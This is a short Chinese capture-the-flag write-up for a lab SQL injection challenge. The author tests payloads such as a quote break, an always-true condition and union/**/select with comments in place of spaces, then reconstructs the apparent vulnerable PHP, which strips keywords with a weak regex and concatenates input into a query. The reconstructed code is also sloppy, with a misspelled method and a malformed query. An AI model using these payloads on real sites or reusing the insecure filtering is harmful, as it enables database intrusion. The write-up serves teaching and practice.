原题地址:http://www.shiyanbar.com/ctf/1875
测试网页:http://ctf5.shiyanbar.com/423/web/
名字虽然是简单的sql注入,但是其猜测并没有那么简单
首先查看id=1'发现报错,说明存在sql注入,然后id=abcd,发现并没有报错,判断这里需要的应该是一个字符串,而且是用'来截断。用id=' or 1='1可以知道表里面只有:
ID: ' or 1='1
name: baloteli
ID: ' or 1='1
name: kanawaluo
ID: ' or 1='1
name: dengdeng
然后猜字段id=' union select '1,却发现结果是这样子的:
ID: ' '1
name: baloteli
所以猜测sql语句应该是被过滤成了select name from web1 where id='' '1';。那么这个就有可能是过滤了union和select,也就是把内部的union、select替换成了空字符。
之后试了一下 id=' union/**/select/**/'1 推翻了我原来的想法,结果是:
ID: ' union/**/select/**/'1
name: 1
所以sql语句就是一个字段的,但是为什么union和select还可以用呢?然后继续测试id=' union/**/select/**/'signselect sign,结果是:
ID: ' union/**/select/**/'signsign
name: signsign
所以说,这里只是把select之类的关键字和后面加一个空格的字符替换成了空字符,源码应该是这样的:
<?php
$pattern='select |from |union |where '; //可能没写全
if(isset($_GET['id']))
{
$id=preg_replace($pattern, '',$_GET['id']);
$sql="select name where id='".$id."'";
$result=$conn->querry($sql);
while( $row = mysqli_fetch_assoc( $result ) )
{
$name = $row["name"];
echo "<pre>ID: ".$id."<br>name: ".$name."</pre>";
}
}
?>
猜出源码之后,sql注入就变得很简单了。